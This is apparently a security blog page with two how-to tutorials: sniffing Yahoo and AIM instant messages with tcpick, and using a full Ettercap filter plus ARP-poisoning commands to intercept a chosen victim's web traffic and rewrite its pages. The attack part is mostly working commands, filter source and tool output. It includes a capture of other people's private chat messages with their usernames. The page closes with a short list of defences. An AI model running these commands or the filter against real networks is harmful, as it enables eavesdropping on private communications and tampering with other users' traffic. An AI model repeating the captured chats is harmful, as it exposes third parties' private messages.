Monitoring IM with TCPICK in Network
Tcpick
Tcpick rebuilds individual connection streams by assembling packets in order. It’s like a mini command-line version of Wireshark’s “Follow TCP Stream” function. Tcpick has options to output data in hex or plain text with binary stripped.
You can also use it to display individual packets as that are seen. In this mode you don’t make use of the stream rebuilding features, but it is still handy for quickly displaying packets with binary stripped out.
For example, the following is a crude, but effective Yahoo Instant Messenger sniffer:
tcpick -i eth0 -yP "host 192.168.1.2" | grep YMSG
You could also do the same thing by looking only for Yahoo IM packets like this:
tcpick -i eth0 "port mmcc" -S -yP # port 5050
For AIM packets use this:
tcpick -i eth0 "port aol" -S -h -yP # port 5190
The -h option shows headers. You need that for AIM to figure out who sent which message. Yahoo puts this information in the message, so -h is not necessary with Yahoo.
Show HTTP GET requests on the entire network LAN:
tcpick -i eth0 -yP | grep GET example: root@utm-desktop:/home/rnd# tcpick -i eth0 "port mmcc" -S -yP # port 5050 Starting tcpick 0.2.1 at 2009-01-23 16:08 MYT Timeout for connections is 600 tcpick: listening on eth0 setting filter: "port mmcc" YMSG.............Hf.104..Pahang:1..109..mayangsari383..117...[4m.[2m.[#008040m<font face="Garamond" size="14">;)) lina ni garang semacam..datang bulan ke..124..1.. YMSG.....f.......Hf.104..Pahang:1..105..Learn how to weave the Songket, or just chat. .108..1..109..zakriman77..113..1024.. YMSG.....n.......Hf.104..Pahang:1..109..clark_kent9910..117...[1m<font face="Comic Sans MS">:"> malam semalam yg hangat ..124..1.. YMSG.............Hf.104..Pahang:1..109..lina_licious85..117..<ALT #231b01,#c10dc6, #170ecf>.[1m<font face="Lucida Sans Unicode">malas nak bgtau la sari, jg id dieorg:- "</ALT>..124..1... YMSG.....2.......Hf.104..Pahang:1..108..1..109..ribuzz87..113..1024... YMSG.....+.......Hf.104..Pahang:1..109..chatersfairuz..117..<font INF LINE:80 ID:Yzak VER:8.86.25 PROT:YMSGV15 TM:16 TMS:08:33 CS:cs128.msg.sp1>.[#F20000m<font face="Microsoft Sans Serif" size="11" tattoo>:)>-..f4!r..$..<):) ..--.....</font> <u><b>.[#0000C0m<font face="Comic Sans MS" size="13">aduhhh sumbat..124..1... YMSG.....}.......Hf.104..Pahang:1..109..clark_kent9910..117...[1m<font face="Comic Sans MS">dtg bulan ari ni tapi malam smalam tak)..124..1... YMSG.....3.......Hf.104..Pahang:1..108..1..109..zakriman77..113..1024.. YMSG.....k.......Hf.104..Pahang:1..109..mayangsari383..117...[4m.[2m.[#008040m<font face="Garamond" size="14">;)) ck..124..1... YMSG....._.......Hf.104..Pahang:1..109..mimy_eza..117..<font size="20">kt kontan ada jaulan murah dok skg..124..1.. YMSG.....].......Hf.104..Pahang:1..109..clark_kent9910..117...[1m<font face="Comic Sans MS">jaulan =))..124..1... YMSG.............Hf.104..Pahang:1..109..de_skunk..117..<font INF LINE:24 ID:Yzak VER:8.85.10 PROT:YMSGV15 TM:16 TMS:09:14 CS:cs121.msg.mud><fade #018B00,#000603>. [#000000m<font face="Times New Roman" size="12">:))ya maulai \:D/</fade>..124..1... Good Luck.....
Fun with Ettercap Filters
Read this then see the Flash video at:
http://www.irongeek.com/i.php?page=videos/ettercapfiltervid1
Ettercap[1] is sort of the
SWISS ARMY KNIFE of ARP poisoning[2] and network sniffing. Ettercap can be extended by using FILTTER and plug-ins, making it able to do all sorts of neat network tasks. Using filters is what I plan to show in this tutorial. The easiest way t to run Ettercap is from the Auditor or Knoppix boot CDs. The version I will be running in this tutorial is Ettercap NG-0.7.3.
What first inspired me to play with
Ettercap filters was the use of Airpwn at Defcon 12[4] . The creators of Airpwn used their ingenious little tool to replace images in web pages that conference attendees surfed to with the Goatse image. If you don’t know what Goatse is, you probably don’t want to ask. Airpwn can be a bit difficult to configure, compile and run, but I figured I could do much the same thing with an Ettercap filter. Since Ettercap can be compiled on Linux, BSD, Mac OS X and Windows 200/XP/2003 and can work on wireless (802.11) and wired LANs its target audience is much larger than Airpwn’s. Ettercap has the ability to route traffic though itself using “Man in the Middle” attacks and then use filters to modify the data before sending it on to the victim. Initially I wanted to do the same thing as the Airpwn guys, but with the Tubgirl
image instead (once again, don’t ask, I’m a sick bastard). For this tutorial I decided to compromise and just have the images in web pages replaced by the Jolly Rogers:
Yes, this tutorial is a bit deviant, but you can use the skills learned from it to do many other useful tasks. The first thing we need to do is create an Ettercap filter. Below is the source code for mine:
| Source code for ig.filter | |
############################################################################
# #
# Jolly Pwned -- ig.filter -- filter source file #
# #
# By Irongeek. based on code from ALoR & NaGA #
# Along with some help from Kev and jon.dmml #
# http://ettercap.sourceforge.net/forum/viewtopic.php?t=2833 #
# #
# This program is free software; you can redistribute it and/or modify #
# it under the terms of the GNU General Public License as published by #
# the Free Software Foundation; either version 2 of the License, or #
# (at your option) any later version. #
# #
############################################################################
if (ip.proto == TCP && tcp.dst == 80) {
if (search(DATA.data, "Accept-Encoding")) {
replace("Accept-Encoding", "Accept-Rubbish!");
# note: replacement string is same length as original string
msg("zapped Accept-Encoding!\n");
}
}
if (ip.proto == TCP && tcp.src == 80) {
replace("img src=", "img src=\"http://www.irongeek.com/images/jollypwn.png\" ");
replace("IMG SRC=", "img src=\"http://www.irongeek.com/images/jollypwn.png\" ");
msg("Filter Ran.\n");
}
|
|
The code should be pretty self explanatory to anyone who has done much coding before (it’s very much like C and other languages). The # symbols are comments. The “if” statement tells the filter to only work on TCP packet from source port 80, in other words coming from a web server. This test may still miss some images, but should get most of them. I’m also not sure about Ettercap’s order of operation with AND (&&) and OR (||) statements but this filter largely seems to work (I tried using parentheses to explicitly specify the order of operation with the Boolean operators but this gave me compile errors). The “replace” function replaces the first parameter string with the second. Because of the way this string replacement works it will try to mangled image tags and insert the picture we desire into the web page’s HTML before it returns it to the victim. The tags may end up looking something like the following:
<img src=”http://www.irongeek.com/images/jollypwn.png”
/images/original-image.jpg>
The original image location will
still be in the tag, but most web browsers should see it as a useless
parameter. The “msg” function just prints to the screen letting us know that the
filter has fired off.
Now that we sort of understand the
basics of the filter lets compile it. Take the ig.filter source code listed
above and paste it into a text file, then compile the filter into a .ef file
using the following command:
etterfilter
ig.filter -o ig.ef
Now that are filter is compiled we
need to target the hosts we want to ARP poison and run the filter on. Here is a
quote form Ettercap’s MAN page on how Targeting works:
| Quote from Ettercap’s MAN page: |
| TARGET SPECIFICATION
There is no concept of SOURCE nor DEST. The two targets are intended filter traffic coming from one to the other and vice-versa (since connection is bidirectional). TARGET is in the form MAC/IPs/PORTs. If you want you can omit any of its parts and this will represent an ANY in that part. e.g. “//80″ means ANY mac address, ANY ip and ONLY port 80 “/10.0.0.1/” means ANY mac address, ONLY ip 10.0.0.1 and ANY port MAC must be unique and in the form 00:11:22:33:44:55 IPs is a range of IP in dotted notation. You can specify range with - (hyphen) and single ip with , (comma). You can also use ; to indicate different ip addresses. e.g. “10.0.0.1-5;10.0.1.33″ expands into ip 10.0.0.1, 2, 3, 4, 5 and 10.0.1.33 PORTs is a range of PORTS. You can specify range with the – (hyphen) and single port with , (comma). e.g. “20-25,80,110″ expands into ports 20, 21, 22, 23, 24, 25, 80 and 110 NOTE: you can reverse the matching of the TARGET by adding the -R option the command line. So if you want to sniff ALL the traffic BUT the NOTE: TARGETs are also responsible of the initial scan of the lan. You can use them to restrict the scan to only a subset of the hosts in the mask. The result of the merging between the two targets will be scanned. remember that not specifying a target means “no target”, specifying “//” means “all the hosts in the subnet. |
So, if we wanted
to target all hosts on the network we would use the following command:
ettercap -T -q -F ig.ef -M ARP // //
Be careful with the above command, having all of the traffic on a large network going though one slow computer can really bog down network connections. If we had a specific victim in mind, let’s say a host with the IP 192.168.22.47, we would use this command:
ettercap -T -q -F ig.ef -M ARP /192.168.22.47/ //
Here are what the command line option flags do:
-T tells Ettercap to use the text interface, I like
this option the best as the more GUI modes are rather confusing.-q tells Ettercap to be more quiet, in other words less verbose.
-F tells Ettercap to use a filter, in this case ig.ef that we
compiled earlier.
-M tells Ettercap the MITM (Man in the Middle) method we want to
use, in this case ARP poisoning.Once Ettercap is running we should get some output
something like the following:
ettercap -T -q -F ig.ef -M ARP /192.168.22.47/ // output: root@Cthulhu:/usr/share/ettercap#
ettercap -T -q -F ig.ef -M ARP /192.168.22.47/ //
ettercap NG-0.7.3 copyright 2001-2004 ALoR & NaGA
Content filters loaded from ig.ef…Listening on eth0… (Ethernet)
eth0 -> 00:04:56:B8:70:AD 192.168.19.56 255.255.240.0
SSL dissection needs a valid ‘redir_command_on’ script in the
etter.conf filePrivileges dropped to UID 65534 GID 65534…
28 plugins
39 protocol dissectors
53 ports monitored
7587 mac vendor fingerprint
1698 tcp OS fingerprint2183 known services
Randomizing 4095 hosts for scanning…
Scanning the whole netmask for 4095 hosts…
* |==================================================>| 100.00 %
526 hosts added to the hosts list…
ARP poisoning victims:
GROUP 1 : 192.168.22.47 00:04:56:B8:70:AD
GROUP 2 : ANY (all the hosts in the list)
Starting Unified sniffing…
Text only Interface activated…
Hit ‘h’ for inline help
Filter Ran.
Filter Ran.
Below you can see what the Antionline and Binrev web pages look like
when the victim tries to view them:
| Binrev ran though filter: | Antionline ran though filter: |
 |
 |
Cool huh? Keep in mind that this filter does not seem to fire off for all images, it’s a little hit and miss. For
more information on things you can do Ettercap filters look at the sample code in the file etter.filter.examples” that comes along with Ettercap. On my box this file is located in /usr/share/ettercap/etter.filter.examples. Also check out Kev’s tutorial on Ettercap filters[5]. Want to keep other folks from doing this kind of shenanigans on your network? Here are a few options:
1. Use static ARP tables between important hosts (not very practical in most
cases).
2. Use ARPWatch or an IDS to spot when someone is pulling off an ARP poisoning
attack.
3. Encrypted traffic using a VPN or SSL should make it though safely, unless of
course the attacker uses some of Ettercap’s proxing capabilities.
Enjoy.
Further Research:
Further Research:
[1] Ettercap Web Page:
http://ettercap.sourceforge.net/[2] My Tutorial On The Basics of Arpspoofing/Arppoisoning:
http://www.irongeek.com/i.php?page=security/arpspoof[3] Auditor Security Collection Web Page:
http://www.remote-exploit.org/?page=auditor[4] Airpwn at Defcon 12:
http://www.evilscheme.org/defcon/[5] Kev’s Tutorial on Ettercap filters:
http://ettercap.sourceforge.net/forum/viewtopic.php?t=2833&sid=e541f515a1d4ef76b4ba32073a8777eeArticle from:http://www.irongeek.com/
